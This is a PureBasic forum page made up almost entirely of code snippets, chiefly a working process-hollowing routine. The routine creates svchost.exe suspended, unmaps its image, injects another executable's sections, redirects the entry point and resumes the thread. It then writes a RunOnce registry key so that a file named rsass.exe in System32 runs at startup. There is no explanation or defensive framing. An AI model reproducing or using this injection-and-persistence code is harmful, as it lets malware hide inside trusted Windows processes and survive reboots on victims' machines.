PureBasic Forums - English

Code: Select all

RunProgram("iexplore.exe","","")

Code: Select all

WinPath.s = Space(#MAX_PATH)
GetWindowsDirectory_(WinPath.s,#MAX_PATH)
injectfile(WinPath.s+"\explorer.exe",buffer) 

Code: Select all

;// EXE Datei vom Ram ausführen!
;//Fra Tysk forum:
;// http://www.purebasic.fr/german/viewtopic.php?t=9172&postdays=0&postorder=asc&start=0


Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l)
ntdll = GetModuleHandle_("ntdll.dll")
Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection")
Global WinPath.s
Structure IMAGE_SECTION_HEADER
  Name.b[8]
  StructureUnion
    PhysicalAddress.l
    VirtualSize.l
  EndStructureUnion
  VirtualAddress.l
  SizeOfRawData.l
  PointerToRawData.l
  PointerToRelocations.l
  PointerToLinenumbers.l
  NumberOfRelocations.w
  NumberOfLinenumbers.w
  Characteristics.l
EndStructure


Procedure injectfile(lpProcessname.s, lpBuffer.l)
;Declare
  Structure IMAGE_SECTION_HEADERS
    a.IMAGE_SECTION_HEADER[95]
  EndStructure
 
  Result.l = 0
  Startupinfo.STARTUPINFO
  ProcessInfo.PROCESS_INFORMATION
  Context.CONTEXT
  BaseAddress.l
  lpNumberOfBytesRead.l
  lpNumberOfBytesWritten.w
  *NtHeaders.IMAGE_NT_HEADERS
  *Sections.IMAGE_SECTION_HEADERS
  i.l

;---
Result = #False
ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO));
StartupInfo\cb = SizeOf(STARTUPINFO)
StartupInfo\dwFlags = #STARTF_USESHOWWINDOW
StartupInfo\wShowWindow = #SW_SHOW

If CreateProcess_(lpProcessname,#NUL,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,@ProcessInfo)
;If CreateProcess_(#NUL,lpProcessname,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,@ProcessInfo)

  Context\ContextFlags = #CONTEXT_INTEGER
  GetThreadContext_(ProcessInfo\hThread, Context);
  ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead)
 
  If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0
   
    *adr.IMAGE_DOS_HEADER = lpBuffer
    *NtHeaders = lpBuffer + *adr\e_lfanew
   
    BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE)
    WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten)

    *Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader
   
    For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten)
    Next
   
    WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten)
    Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint
    Result = SetThreadContext_(ProcessInfo\hThread, Context)
    If Result
          ResumeThread_(ProcessInfo\hThread)
        Else
          TerminateProcess_(ProcessInfo\hProcess, 0);
          CloseHandle_(ProcessInfo\hProcess)
          CloseHandle_(ProcessInfo\hThread)
    EndIf
   
   
  EndIf
EndIf

EndProcedure



WinPath.s = Space(#MAX_PATH)
GetWindowsDirectory_(WinPath.s,#MAX_PATH)
If ReadFile(0,WinPath.s+"\System32\notepad.exe")
  buffer = AllocateMemory(Lof(0)) ; Datei ganz normal in einen buffer lesen
  ReadData(0,buffer,Lof(0))
  CloseFile(0)
EndIf

injectfile(WinPath.s+"\System32\svchost.exe",buffer) ; nun führen wir den buffer im addressraum von paint aus!

Delay(1000)

If RegCreateKeyEx_(#HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunOnce", 0, 0, #REG_OPTION_NON_VOLATILE, #KEY_ALL_ACCESS, 0, @NewKey, @KeyInfo) = #ERROR_SUCCESS 
  StringBuffer$ = WinPath.s+"\System32\rsass.exe"     ; change Path to a string with the full path to your program!!!
  RegSetValueEx_(NewKey, "TestRsass", 0, #REG_SZ,  StringBuffer$, Len(StringBuffer$)+1)   ; change "Programname" to your individual name
  RegCloseKey_(NewKey) 
EndIf


; Filename.s=Space(1024)
; myFilename=GetModuleFileName_(0,Filename,1024)
; injectfile(Filename,buffer) ; nun führen wir den buffer im addressraum von uns selber(kopie) aus!